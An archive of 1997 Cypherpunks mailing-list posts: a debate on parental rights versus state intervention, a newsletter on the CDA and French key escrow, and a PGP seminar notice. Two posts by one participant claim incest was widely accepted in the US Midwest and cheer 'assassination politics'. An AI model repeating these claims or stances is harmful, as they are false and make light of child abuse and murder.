
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From bubba at dev.null  Tue Mar 18 23:25:13 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Tue, 18 Mar 1997 23:25:13 -0800 (PST)
Subject: WebWorld 1-2
Message-ID: <332F94CF.4646@dev.null>

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From dthorn at gte.net  Wed Mar 19 01:20:48 1997
From: dthorn at gte.net (Dale Thorn)
Date: Wed, 19 Mar 1997 01:20:48 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190047.AAA02484@mailhub.amaranth.com>
Message-ID: <332FAF09.CD3@gte.net>


William H. Geiger III wrote:
>    Alec <camcc at abraxis.com> said:
> >Not in every case do the parents have the right to determine what
> >treatment shall be performed or whether it shall occur at all. More often
> >than not the courts have allowed medical treatment for the child who is
> >not able to consent to such treatment for himself.

> A parent is the sole person who has a *RIGHT* to determine the welfair of
> their childern. You do not have that right, I do not have that right, the
> government does not have that right. To beleive that the government should
> "protect" a child from the beliefs of its parents is truly
> FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).

As a person who was once a child in a very unhappy home (5 kids,
nobody talks to anyone else), I can testify that I would have been
willing at several points to take a chance with the State.

Would it have helped or hurt more?  I believe that would have depended
on knowing how much worse things would have gotten at home (some
homes get worse, some get better, some stay the same), and just how
bad it would have been under the State.  I think those are the issues,
but how are you gonna predict which is worse, unless you have some
real incriminating evidence against the parents?

On a related note, there's a valid point about the State raising
kids being not only unnatural, but leading to bad things preparing
the kids for a future statist society.  Just another factor as far
as I'm concerned, when the life and safety of a defenseless child
is in question.






From jt at freenix.fr  Wed Mar 19 01:57:32 1997
From: jt at freenix.fr (Jerome Thorel)
Date: Wed, 19 Mar 1997 01:57:32 -0800 (PST)
Subject: lambda 3.01 - Your Customs Officer is Watching You
Message-ID: <v03007802af55668d6433@[194.51.213.140]>


lambda 3.01

contents:
--> CDA countdown : The Supreme Court Has Some Clues
on Knocking Down the CDA
--> New in Cyberspace: The Frontiers Are Back!
Your Customs Officer Is Watching You
--> Crypto Update : France and the OECD



*	*	*	*	*



THE SUPREME COURT HAS SOME CLUES ON KNOCKING DOWN THE CDA

Well before the U.S. Supreme Court hears arguments on the constitutionality
of the CDA, David Sobel, EPIC's legal counsel, reminded the electronic
community that the Court handed down a decisive decision two years ago.
Excerpts from the EPIC Alert 4.04 newsletter herewith:

--- begin fwd message ---

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to verify
the identities and ages of all recipients of material that might be deemed
inappropriate for children. If upheld, the statutory regime would thus
result in the creation of "registration records" for tens of thousands of
Internet sites, containing detailed descriptions of information accessed by
particular recipients. These records would be accessible to law enforcement
agencies and prosecutors investigating alleged violations of the statute.
Such a regime would constitute a gross violation of Americans' rights to
access information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech in
McIntyre v. Ohio Elections Commission. EPIC believes that the Court's
rationale in that case applies with even greater force to the Internet
"indecency" provisions now under review. The Court noted in McIntyre that:

" The decision in favor of anonymity may be motivated by fear of economic
or official retaliation, by concern about social ostracism, or merely by a
desire to preserve as much of one's privacy as possible. ...

"Anonymity is a shield from the tyranny of the majority. It thus
exemplifies the purpose behind the Bill of Rights, and of the First
Amendment in particular: to protect unpopular individuals from retaliation
-- and their ideas from suppression -- at the hand of an intolerant
society."

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde poetry,
they enjoy a Constitutional right to do so privately and anonymously. The
Communications Decency Act seeks to destroy that right. If upheld, the CDA
would render the Internet not only the most censored communications medium,
but also the most heavily monitored.

"EPIC is confident that upon review of the legislation and its impact upon
free speech and privacy rights in emerging electronic media, the Supreme
Court will affirm the lower court decision invalidating the CDA as
fundamentally at odds with the Constitution."

--- end fwd message ---

The EPIC said that following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET). The event will be cybercast live
via RealAudio on the World Wide Web.

Links to the cybercast will be available at:
http://www.epic.org/cda/
and
http://www.aclu.org/issues/cyber/trial/appeal.html




*	*	*	*	*




YOUR CUSTOMS OFFICER IS WATCHING YOU
New in Cyberspace: The Frontiers Are Back!

On March 6, the French security agency SCSSI gave its approval for a
secured payment protocol called C-SET, or Chip-Secured Electronic
Transaction. After one look at this European version of the US standard of
SET, which will be completed this year, one might ask: "Why bother?" Your
customs officer might well reply: "For me!"

C-SET re-draws the boarders of the real world in cyberspace -- where
national boundaries were scheduled to have been given up forever. Moreover,
the system could easily be used to escrow private communications, because
encrypted messages will be transmitted to a third party in order for police
to have a lawful access to its secret key.

The Intelligence Newsletter (http://www.indigo-net.com/intel.html) first
reported in its Feb. 26 edition that C-SET could be used as a national
shield for controlling money transfers, and thus be used as an intermediary
between the law enforcement agencies, the vendor and the buyer. French
security officials agreed to accept C-SET because it is compatible with
future trusted third-party systems, dedicated to assuring national
governments that all encrypted communications will be key-escrowed.

"The French Finance Ministry has not yet decided to apply taxes and duties
for online transactions, but C-SET is the adequate system to do that", says
Claude Meggle, director of security at the French Groupement des Cartes
Bancaires (a consortium of 200 French banks), the main architect of C-SET.
"It is a way for national states to keep their sovereignty, without
hindering international commerce".

In France and other European countries, credit cards are so-called "smart
cards." Embedded with microchips, it is a more secure way to authenticate
-- and identify -- the buyer than a hand-written signature. The GCB was not
fully satisfied by the SET standard, which "provides only software security
as it doesn't include a smart card," the Intelligence Review reported. "As
a result, the 'certificate' which enables a customer to be identified when
making an electronic purchase is stored on his hard disk. This exposes it
to all types of attack, and makes the system less than 'portable' -- the
certificate is linked to the computer and not the person. The C-SET is
exactly the opposite," the newsletter added.

Hardware is needed to use C-SET; a PIN-number pad manufactured by
state-owned Bull's smart card division CP8 will be sold for less than 500
FF (US$100), Meggle told lambda bulletin. When the users are connected to a
virtual mall, they'll have to type their 4-digits secret code (as it is
today with bank cards), and the transaction will be transferred to a
distant server owned by the bank. Thus this go-between server will be based
in the country where a user has his or her bank account, and the same bank
plays the role of a TTP. The user's privacy and anonymity will be
protected, but only from the merchant's point of view.

Banks-turned-TTPs will have to keep records of all transactional data for
law-enforcement purposes. Recently, officials at the main money laundering
agencies of industrialised countries met to discuss the problems caused by
the Internet. C-SET could be one way to keep money transfers under the
close eye of the law. The European Commission agreed to the system being
tested as a possible future standard, and all major European countries have
plans to test it in the near future (from Germany to Belgium, UK, Spain,
etc.)

It is no surprise that the SCSSI, one of the most conservative cryptography
agencies in the world -- which considers the US technology lead on
encryption as a national threat -- first refused to allow C-SET to encrypt
a part of the transaction. The TTP compatibility was seen as a necessary
condition for approval. Meggli said the encrypted material uses a DES-based
56-bit key, while a RSA public-key system (1024-bit length) is used for
transmission.

As Meggle acknowledged, this PIN-pad based identification system could be
also used as a way to identify users that send encrypted messages in
private communications. The TTPs will have to keep a record of connections
-- as all banks are doing today to officially fight fraud -- and give a
user's private key to police authorities if called upon to do so.


*	*	*	*	*


CRYPTO UPDATES

* French officials at the SCSSI and the prime minister's office are worried
that aspects of the government's crypto policy may be regarded by the
European Commission in Brussels as an obstacle to common market principles.
The government's law outlining a TTP key-recovery system, voted by the
legislature last summer, has yet to be enacted by ministerial decree. An
initial version of the decree (see lambda 2.13) stated that only French
employees (of companies held with a majority of French capital) would be
allowed to act as a TTP in the country. Whether the law would violate rules
concerning the free flow of capital and workers in the European Union is
uncertain. However the French government has something in its favor (for
better or for worse) regarding possible anti-competitive practices in this
area: The EC is prohibited from making decisions that may overlap with
issues of national security.

* Meanwhile, the Paris-based OECD is to publish its guidelines on
international cryptography procedures (lawful access, condition of TTP
systems, etc.) at the end of March. The report has been approved by both
the OECD expert group and division committee with slight changes in the
wording, and now needs only the endorsement of the OECD Council of
Ministers.

----
A report by Jerome Thorel <jt at freenix.fr>
English rewriting: Ken N. Cukier <100736.3602 at CompuServe.COM>
lambda archives --> www.freenix.fr/netizen
----

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jerome Thorel 			Planete Internet
Journalist, Paris		Editor / Redac chef
thorel at netpress.fr		191 av A. Briand, 94230 Cachan
Tel: 33 1 49085833 - fax-31	www.planete-internet.com







From nobody at huge.cajones.com  Wed Mar 19 02:57:38 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 19 Mar 1997 02:57:38 -0800 (PST)
Subject: Enigma
Message-ID: <199703191057.CAA29916@mailmasher.com>


Timmy `C' May's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists 
into which it is cross-ruminated.

         __
        /_/\__
        \_\/\_\ Timmy `C' May
        /\_\/_/
        \/_/






From bubba at dev.null  Wed Mar 19 05:09:05 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Wed, 19 Mar 1997 05:09:05 -0800 (PST)
Subject: WebWorld 3-4
Message-ID: <332FE560.4C91@dev.null>

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From camcc at abraxis.com  Wed Mar 19 06:04:39 1997
From: camcc at abraxis.com (Alec)
Date: Wed, 19 Mar 1997 06:04:39 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703182356.XAA02032@mailhub.amaranth.com>
Message-ID: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 12:42 AM 3/19/97 -0600, you wrote:

*|>Parents most certainly are not the only ones to determine the welfare of
*|>their children; society has assumed a significant role and typically moves
*|>to protect the child from the parents or from the _beliefs_ of the
*|>parents.

*|Just because the government subverts the RIGHTS of the parents does not
*|mean that the parents do not have those rights.
*|
*|A parent is the sole person who has a *RIGHT* to determine the welfair of
*|their childern. You do not have that right, I do not have that right, the
*|government does not have that right. To beleive that the government should
*|"protect" a child from the beliefs of its parents is truly
*|FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
*|
*|I as a parent have the sole right to determine what religon to teach my
*|children, how to rase my children, how to teach my children, how to reward
*|my children and how to punish my children PERIOD.
*|
*|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
*|as they are quite out of place here.
*|
*|"When the wants of society override the rights of the individule that
*|society must die" -- whgiii

Dear whgiii,

Children are, also, possessors of certain inalienable rights. 

Parents have certain _privileges_ in regard to their children which others do
not have; if the parents abuse the _rights_ which their children possess
solely by  virtue of being humans and citizens, the state is obligated to
intervene on behalf of the child--a citizen. In just the same way that if I
were to threaten or batter you (or visa versa) the state would interpose
itself to protect me.

_With reservations_ I grant you parents have _great_ leeway in the areas of
religious training, education, medical care, general child rearing
(punishment/reward). When parents overstep either by action or neglect,
society intervenes.

I _understand_ your point that in an ideal society the government would not
intervene. At this point, though, we don't seem to be there.

Alec

What's the point of the following? Discourse is healthy in an open system.
Why the exclusion?

*|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
*|as they are quite out of place here.


      
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From subir at crl.com  Wed Mar 19 06:38:49 1997
From: subir at crl.com (Subir Grewal)
Date: Wed, 19 Mar 1997 06:38:49 -0800 (PST)
Subject: PGP seminar at New York University 3/27/97
Message-ID: <Pine.SUN.3.96L-rev1.970319063600.11123B-100000@crl7.crl.com>



        Computer Advocacy @ New York University and NYU's Academic
Computing Facility (ACF) present a seminar on Pretty Good Privacy as a  
part of Computer Awareness Week on Thursday, March 27 at 12:00 pm (noon).
Ilya Slavin of the Computer Advocacy and Tim O'Connor of the ACF will
discuss the reasons for using encryption tools, give a brief background of
the algorithms behind the face of PGP and analyze their strengths, and
demonstrate ways to incorporate PGP into popular tools such as Pine and
Tin.

        A key signing session will follow.
  
        If you are new to PGP or just want your key signed by a few more  
people and happen to be in New York City at the time, please come!  All
are invited.  Refreshments will be served.

        For more information, see
http://www.nyu.edu/pages/advocacy/awareness/
        






From canthony at info-nation.com  Wed Mar 19 07:43:16 1997
From: canthony at info-nation.com (Charles Anthony)
Date: Wed, 19 Mar 1997 07:43:16 -0800 (PST)
Subject: (Fwd) lambda 3.01 - Your Customs Officer is Watching You
Message-ID: <199703191543.JAA05103@bitstream.net>


------- Forwarded Message Follows -------
Date:          Wed, 19 Mar 1997 11:07:46 +0100
To:            thorel at netpress.fr
From:          Jerome Thorel <jt at freenix.fr>
Subject:       lambda 3.01 - Your Customs Officer is Watching You

lambda 3.01

contents:
--> CDA countdown : The Supreme Court Has Some Clues
on Knocking Down the CDA
--> New in Cyberspace: The Frontiers Are Back!
Your Customs Officer Is Watching You
--> Crypto Update : France and the OECD



*	*	*	*	*



THE SUPREME COURT HAS SOME CLUES ON KNOCKING DOWN THE CDA

Well before the U.S. Supreme Court hears arguments on the constitutionality
of the CDA, David Sobel, EPIC's legal counsel, reminded the electronic
community that the Court handed down a decisive decision two years ago.
Excerpts from the EPIC Alert 4.04 newsletter herewith:

--- begin fwd message ---

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to verify
the identities and ages of all recipients of material that might be deemed
inappropriate for children. If upheld, the statutory regime would thus
result in the creation of "registration records" for tens of thousands of
Internet sites, containing detailed descriptions of information accessed by
particular recipients. These records would be accessible to law enforcement
agencies and prosecutors investigating alleged violations of the statute.
Such a regime would constitute a gross violation of Americans' rights to
access information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech in
McIntyre v. Ohio Elections Commission. EPIC believes that the Court's
rationale in that case applies with even greater force to the Internet
"indecency" provisions now under review. The Court noted in McIntyre that:

" The decision in favor of anonymity may be motivated by fear of economic
or official retaliation, by concern about social ostracism, or merely by a
desire to preserve as much of one's privacy as possible. ...

"Anonymity is a shield from the tyranny of the majority. It thus
exemplifies the purpose behind the Bill of Rights, and of the First
Amendment in particular: to protect unpopular individuals from retaliation
-- and their ideas from suppression -- at the hand of an intolerant
society."

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde poetry,
they enjoy a Constitutional right to do so privately and anonymously. The
Communications Decency Act seeks to destroy that right. If upheld, the CDA
would render the Internet not only the most censored communications medium,
but also the most heavily monitored.

"EPIC is confident that upon review of the legislation and its impact upon
free speech and privacy rights in emerging electronic media, the Supreme
Court will affirm the lower court decision invalidating the CDA as
fundamentally at odds with the Constitution."

--- end fwd message ---

The EPIC said that following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET). The event will be cybercast live
via RealAudio on the World Wide Web.

Links to the cybercast will be available at:
http://www.epic.org/cda/
and
http://www.aclu.org/issues/cyber/trial/appeal.html




*	*	*	*	*




YOUR CUSTOMS OFFICER IS WATCHING YOU
New in Cyberspace: The Frontiers Are Back!

On March 6, the French security agency SCSSI gave its approval for a
secured payment protocol called C-SET, or Chip-Secured Electronic
Transaction. After one look at this European version of the US standard of
SET, which will be completed this year, one might ask: "Why bother?" Your
customs officer might well reply: "For me!"

C-SET re-draws the boarders of the real world in cyberspace -- where
national boundaries were scheduled to have been given up forever. Moreover,
the system could easily be used to escrow private communications, because
encrypted messages will be transmitted to a third party in order for police
to have a lawful access to its secret key.

The Intelligence Newsletter (http://www.indigo-net.com/intel.html) first
reported in its Feb. 26 edition that C-SET could be used as a national
shield for controlling money transfers, and thus be used as an intermediary
between the law enforcement agencies, the vendor and the buyer. French
security officials agreed to accept C-SET because it is compatible with
future trusted third-party systems, dedicated to assuring national
governments that all encrypted communications will be key-escrowed.

"The French Finance Ministry has not yet decided to apply taxes and duties
for online transactions, but C-SET is the adequate system to do that", says
Claude Meggle, director of security at the French Groupement des Cartes
Bancaires (a consortium of 200 French banks), the main architect of C-SET.
"It is a way for national states to keep their sovereignty, without
hindering international commerce".

In France and other European countries, credit cards are so-called "smart
cards." Embedded with microchips, it is a more secure way to authenticate
-- and identify -- the buyer than a hand-written signature. The GCB was not
fully satisfied by the SET standard, which "provides only software security
as it doesn't include a smart card," the Intelligence Review reported. "As
a result, the 'certificate' which enables a customer to be identified when
making an electronic purchase is stored on his hard disk. This exposes it
to all types of attack, and makes the system less than 'portable' -- the
certificate is linked to the computer and not the person. The C-SET is
exactly the opposite," the newsletter added.

Hardware is needed to use C-SET; a PIN-number pad manufactured by
state-owned Bull's smart card division CP8 will be sold for less than 500
FF (US$100), Meggle told lambda bulletin. When the users are connected to a
virtual mall, they'll have to type their 4-digits secret code (as it is
today with bank cards), and the transaction will be transferred to a
distant server owned by the bank. Thus this go-between server will be based
in the country where a user has his or her bank account, and the same bank
plays the role of a TTP. The user's privacy and anonymity will be
protected, but only from the merchant's point of view.

Banks-turned-TTPs will have to keep records of all transactional data for
law-enforcement purposes. Recently, officials at the main money laundering
agencies of industrialised countries met to discuss the problems caused by
the Internet. C-SET could be one way to keep money transfers under the
close eye of the law. The European Commission agreed to the system being
tested as a possible future standard, and all major European countries have
plans to test it in the near future (from Germany to Belgium, UK, Spain,
etc.)

It is no surprise that the SCSSI, one of the most conservative cryptography
agencies in the world -- which considers the US technology lead on
encryption as a national threat -- first refused to allow C-SET to encrypt
a part of the transaction. The TTP compatibility was seen as a necessary
condition for approval. Meggli said the encrypted material uses a DES-based
56-bit key, while a RSA public-key system (1024-bit length) is used for
transmission.

As Meggle acknowledged, this PIN-pad based identification system could be
also used as a way to identify users that send encrypted messages in
private communications. The TTPs will have to keep a record of connections
-- as all banks are doing today to officially fight fraud -- and give a
user's private key to police authorities if called upon to do so.


*	*	*	*	*


CRYPTO UPDATES

* French officials at the SCSSI and the prime minister's office are worried
that aspects of the government's crypto policy may be regarded by the
European Commission in Brussels as an obstacle to common market principles.
The government's law outlining a TTP key-recovery system, voted by the
legislature last summer, has yet to be enacted by ministerial decree. An
initial version of the decree (see lambda 2.13) stated that only French
employees (of companies held with a majority of French capital) would be
allowed to act as a TTP in the country. Whether the law would violate rules
concerning the free flow of capital and workers in the European Union is
uncertain. However the French government has something in its favor (for
better or for worse) regarding possible anti-competitive practices in this
area: The EC is prohibited from making decisions that may overlap with
issues of national security.

* Meanwhile, the Paris-based OECD is to publish its guidelines on
international cryptography procedures (lawful access, condition of TTP
systems, etc.) at the end of March. The report has been approved by both
the OECD expert group and division committee with slight changes in the
wording, and now needs only the endorsement of the OECD Council of
Ministers.

----
A report by Jerome Thorel <jt at freenix.fr>
English rewriting: Ken N. Cukier <100736.3602 at CompuServe.COM>
lambda archives --> www.freenix.fr/netizen
----

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jerome Thorel 			Planete Internet
Journalist, Paris		Editor / Redac chef
thorel at netpress.fr		191 av A. Briand, 94230 Cachan
Tel: 33 1 49085833 - fax-31	www.planete-internet.com







From real at freenet.edmonton.ab.ca  Wed Mar 19 07:53:44 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 19 Mar 1997 07:53:44 -0800 (PST)
Subject: Enigma
In-Reply-To: <199703191057.CAA29916@mailmasher.com>
Message-ID: <Pine.A41.3.95.970319085106.114524A-100000@fn2.freenet.edmonton.ab.ca>


On Wed, 19 Mar 1997, Huge Cajones Remailer wrote:

Pill time Vulis

> Timmy `C' May's reheated, refurbished, and regurgitated 
> cud is completely inappropriate for the mailing lists 
> into which it is cross-ruminated.
> 
>          __
>         /_/\__
>         \_\/\_\ Timmy `C' May
>         /\_\/_/
>         \/_/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From dlv at bwalk.dm.com  Wed Mar 19 09:04:37 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 09:04:37 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190615.AAA00723@smoke.suba.com>
Message-ID: <gcmT4D3w165w@bwalk.dm.com>


snow <snow at smoke.suba.com> writes:

> > The parents are the ONLY ones who have a right to determin the welfare of
> > their childern. If the parents determin that the risks of reaction to the
> > innoculation outways the benifits that choice is their's and their's alone.
> 
> 	So, parents should be allowed to:
> 
> 	1) Beat their children on a daily basis, because it is good for them.

Indeed, in most cultures beating the shit out of one's children 9and women)
every day is the norm.  "Spare the rod, spoil the child." Western Civ is a
rare exception.

> 
> 	2) Refuse to educate their children _at all_ because Knowlege is the 
> 	   devils work.

Indeed, in most cultures until recently most people were never taught to read
unless they intended to become priests.

> 	
> 	3) Not clothe their children at all beause God Will Provide.
> 
> 	4) Teach their children how to perform Oral, Anal, and "straight" sex
> 	   because they need to learn it someday?

Still very common in midwestern U.S.; less accepted elsewhere.
> 
> 	Extreme examples, true, but it is what you are saying.
> 

5) castrating one's male children if they show any propensity to sing -
in hopes that they'll become one of the few famous and successful male
sopranos - viewed favorably in 18 and 19 centiry Italy.

6) teaching children bullshit about "god".

What market force or natural selection discourages "abuse"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 19 09:07:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 09:07:18 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <332FAF09.CD3@gte.net>
Message-ID: <FiLT4D1w165w@bwalk.dm.com>


Dale Thorn <dthorn at gte.net> writes:

> William H. Geiger III wrote:
> >    Alec <camcc at abraxis.com> said:
> > >Not in every case do the parents have the right to determine what
> > >treatment shall be performed or whether it shall occur at all. More often
> > >than not the courts have allowed medical treatment for the child who is
> > >not able to consent to such treatment for himself.
> 
> > A parent is the sole person who has a *RIGHT* to determine the welfair of
> > their childern. You do not have that right, I do not have that right, the
> > government does not have that right. To beleive that the government should
> > "protect" a child from the beliefs of its parents is truly
> > FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
> 
> As a person who was once a child in a very unhappy home (5 kids,
> nobody talks to anyone else), I can testify that I would have been
> willing at several points to take a chance with the State.
> 
> Would it have helped or hurt more?  I believe that would have depended
> on knowing how much worse things would have gotten at home (some
> homes get worse, some get better, some stay the same), and just how
> bad it would have been under the State.  I think those are the issues,
> but how are you gonna predict which is worse, unless you have some
> real incriminating evidence against the parents?
> 
> On a related note, there's a valid point about the State raising
> kids being not only unnatural, but leading to bad things preparing
> the kids for a future statist society.  Just another factor as far
> as I'm concerned, when the life and safety of a defenseless child
> is in question.
> 

That's a tough one, Dale. On one hand, if the kid is born to psychotic
parents (or just stupid parents) and the trait is inherited, then it's
better for the species as a whole if they mistreat the kid and possibly
kill him. On the other hand the mistreatment may be due to the parent's
environment and not be an inherited trait - that it's not the kid's fault,
just bad luck. I'm not at all arguing that having the state make choices
for children too young to make choices is better than having parents make
choices. There are plenty of examples of parents mistreating children in
ways that the state finds objections (e.g. having sex with one's children
used to be widely accepted in miswestern U.S. but is now frowned on) and
examples of state permitting what I consider severe abuse (e.g. in 18 and 19
century Italy many parents castrated their male children if they showed any
musical/singing talent - hoping they'd become male sopranos; or, u.s. parents
who indoctrinate their children with fables about "god"). Perhaps Jim Bell's
assassination politics is the answer - you can abuse your children by commisis
(circumcizing an infant, lying to them about "god" and Santa Claus) or omission
(denying medical care or education) but you're running the risk of the kids
growing up and taking out a contract on you. Cool.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From whgiii at amaranth.com  Wed Mar 19 09:40:36 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 19 Mar 1997 09:40:36 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
Message-ID: <199703191146.LAA09134@mailhub.amaranth.com>


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In <3.0.1.32.19970319085818.007cf9a0 at smtp1.abraxis.com>, on 03/19/97 at
07:58 AM,
   camcc at abraxis.com (Alec) said:


>-----BEGIN PGP SIGNED MESSAGE-----

>At 12:42 AM 3/19/97 -0600, you wrote:

>*|>Parents most certainly are not the only ones to determine the welfare
>of *|>their children; society has assumed a significant role and typically
>moves *|>to protect the child from the parents or from the _beliefs_ of
>the *|>parents.

>Dear whgiii,

>Children are, also, possessors of certain inalienable rights. 

>Parents have certain _privileges_ in regard to their children which others
>do not have; if the parents abuse the _rights_ which their children
>possess solely by  virtue of being humans and citizens, the state is
>obligated to intervene on behalf of the child--a citizen. In just the same
>way that if I were to threaten or batter you (or visa versa) the state
>would interpose itself to protect me.

No I totaly disagree. Parents have *Rights* in reguard to their children.
It is the STATE who has privilages and is abusing those privilages.
Children do not have the same rights that adults do under the constitution
(this is not to say that they have none). Should I be able to murder my
children because they have become inconvient? NO. Should I be able to
punish my child without fear of retribution by a bunch of nardoweller
bureaucrats who feal that a parent should never punish a child. YES!!!

>_With reservations_ I grant you parents have _great_ leeway in the areas
>of religious training, education, medical care, general child rearing
>(punishment/reward). When parents overstep either by action or neglect,
>society intervenes.

They have NO right to do so! They are my children and I will rase them as
*I* see fit, not how you see fit, not how the church or the PTA sees fit,
and most definatly not how the scumbags in Washington see fit!! (Would you
trust Ted Kenedy to rase *YOUR* daughter???).

>I _understand_ your point that in an ideal society the government would
>not intervene. At this point, though, we don't seem to be there.

It's not a matter of an ideal society as the can never be obtained due to
the fact we all have different ideals on what that society should be.  My
point is that from the dawn of time since man climbed out of the trees it
has been the parents would raised & were responcible for their children. It
has only been recient with the advent of the Socialist that the belief that
children should be raised by the STATE in cookie cutter fasion.

>Alec

>What's the point of the following? Discourse is healthy in an open system.
>Why the exclusion?

>*|Perhaps you should take your STATIST tendicies over to
>alt.hitler.fanclub *|as they are quite out of place here.

No perhaps I should have worded it better. I was tring to highligh that
such STATIST beliefs were at direct odds with the the beliefs of freedom &
privacy that the members of this group advocate. I am more than will to
disscuss this topic here as it higlight those who believe in the "cause"
and those who just give it lip service. (hopfully making a few converts
along the way. <G>)


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>File has signature.  Public key is required to check signature. .
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- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
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From whgiii at amaranth.com  Wed Mar 19 10:11:25 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 19 Mar 1997 10:11:25 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <gcmT4D3w165w@bwalk.dm.com>
Message-ID: <199703191217.MAA09556@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <gcmT4D3w165w at bwalk.dm.com>, on 03/19/97 at 11:01 AM,
   dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>What market force or natural selection discourages "abuse"?

Well before the STATIST took over there was an unwritten Parent/Child
contract. The parrent would raise and care for their children and in old
age the parents would be taken care of by their children.

This "contract" or "bond" has been distroyed by a multi-pronged attack by
the STATE.

- -- The STATE has usurped the power of the parents to raise their chlidren.
- -- The STATE has taken the responsibility of the children to care for their
parents in old age. -- The STATE has actively distroyed the two parent
household with Welfair programs & making it "politicaly incorrect" for a
woman to be a housewife not to mention thier EEO policies.

It should be intresting to note that no one ever mentions the economic
affect of doubling the number of workers compeeting for the same jobs by
having women entering the workforce. Basic economics show that this drives
down the rate of pay of all workers (suply & demand) making it quite hard
for a man to support his family with 1 job enabling his wife to stay at
home and raise their children. So even where you still have a two parent
household the STATE winds up rasing the children because both parents are
required to work just to survive.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

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From blancw at MICROSOFT.com  Wed Mar 19 10:48:02 1997
From: blancw at MICROSOFT.com (Blanc Weber)
Date: Wed, 19 Mar 1997 10:48:02 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <88CE23A0B727D0118BB000805FD47524010C2001@RED-81-MSG.dns.microsoft.com>


From:	Toto

  There are philosophies and spiritualities which proffer the view of
"man as a machine," in which our actions can be seen as much more
"mechanical" than most of us would care to admit.
  Of course, the obvious fallacy of this view is shown by the fact
that, were it true, our attitudes and actions would be controlled
by advertising and ten-second sound-bytes yanking at our emotions, 
rather than by the reason and logic that so clearly dominates our
society, as can be demonstrated with one's index finger and a
TV remote-control unit.
................................


Technology is a display of the heights of human creativity and
inventiveness.  The end-users are often a display of the depths, and a
presentation of the fact that even though endowed with intelligence and
inalienable rights, an  individual must participate in the process of
their own existence, investing personal effort into determining its
quality or else suffering the consequences of mental stagnation and &
psychological degeneracy.

   ..
Blanc






From wmono at soundwave.net  Wed Mar 19 11:46:40 1997
From: wmono at soundwave.net (William Ono)
Date: Wed, 19 Mar 1997 11:46:40 -0800 (PST)
Subject: WebWorld 3-4
Message-ID: <Pine.LNX.3.95.970319114454.7537A-100000@crash.soundwave.net>


Toto, you're being careless again.


--
William Ono <wmono at soundwave.net>                          PGP Key: 0xF3F716BD
 fingerprint = A8 0D B9 0F 40 A7 D6 64  B3 00 04 74 FD A7 12 C9 = fingerprint
PGP-encrypted mail welcome!           "640k ought to be enough for everybody."

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Message-ID: <332FE560.4C91 at dev.null>
Date: Wed, 19 Mar 1997 07:08:48 -0600
From: Bubba Rom Dos <bubba at dev.null>
Reply-To: camcc at abraxis.com
